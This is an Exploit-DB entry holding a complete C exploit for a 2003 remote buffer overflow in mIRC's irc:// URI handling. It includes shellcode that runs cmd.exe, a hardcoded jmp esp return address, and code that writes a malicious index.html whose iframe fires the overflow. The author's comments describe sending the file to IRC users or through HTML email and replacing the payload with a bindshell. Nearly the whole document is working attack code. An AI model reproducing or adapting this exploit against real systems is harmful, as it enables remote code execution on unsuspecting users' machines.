Exploit-DB #112
Description: mIRC 6.1 - 'IRC' Protocol Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2003-10-21
Author: blasty

Exploit:
/** remote mirc < 6.11 exploit by blasty
 **
 ** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient[PII_REDACTED]
 **
 ** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
 ** nobody had written an exploit yet. So I decided to start writing one.
 ** Since this was my first time coding a exploit for windows, it took some
 ** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw :P)
 **
 ** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-
 ** overflow, and when more then 998 bytes are given EIP will be overwritten.
 ** 
 ** At first I was thinking of a simple solution to get this exploitable. Since
 ** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
 ** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
 **
 ** This exploit will write an malicious HTML file containing an iframe executing the
 ** irc:// address. So you can give this to anyone on IRC for example ;)
 ** The shellcode included does only execute cmd.exe, because I don't want to be this
 ** a scriptkiddy util. But, replacing the shellcode with your own is also possible.
 ** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require
 ** some tweaking.
 ** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez :)
 **
 ** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't started.
 ** mIRC will start automatically when an irc:// is executed, so you can also send somebody
 ** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express :P)
 **
 **/

#include <stdio.h>


/* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
unsigned char shellcode[] =
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
	"\x44\x80\xbf\x77"			//	0x78bf8044 <- adress of system()
	"\xff\xd0";				//  	call    system()
	

char jmpback[] =
        "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)

char buffer[1100], fstring[1300]; // heh, need to clean this up

int main(int argc, char *argv[]) {
	FILE *evil;

	fprintf(stdout, "---------------------------------------------\n"
			"mIRC < 6.11 remote exploit by blasty@geekz.nl\n"
                                                "Exploit downloaded on www.k-otik.com\n"
			"---------------------------------------------\n\n");

	// NOPslides are cool
	memset(buffer, 0x90, sizeof(buffer) - 1);

	// place shellcode in buffer
	memcpy(buffer + 20, shellcode, strlen(shellcode));

	// took this one from ntdll.dll (jmp esp)
	*(long *)&buffer[994] = 0x77F4801C;

	// place jmpback shellcode in buffer
	memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));

	printf("[+] Evil buffer constructed\n");


	// open HTML file for writing
	if((evil = fopen("index.html", "a+")) != NULL) {

		// construct evil string :)
		sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);

		// write string to file
		fputs(fstring, evil);

		// close file
		fclose(evil);

		printf("[+] Evil HTML file written!\n");
		return(0);
	} else {
		// uh oh.. :/
		fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
		exit(1);
	}
}


// milw0rm.com [2003-10-21]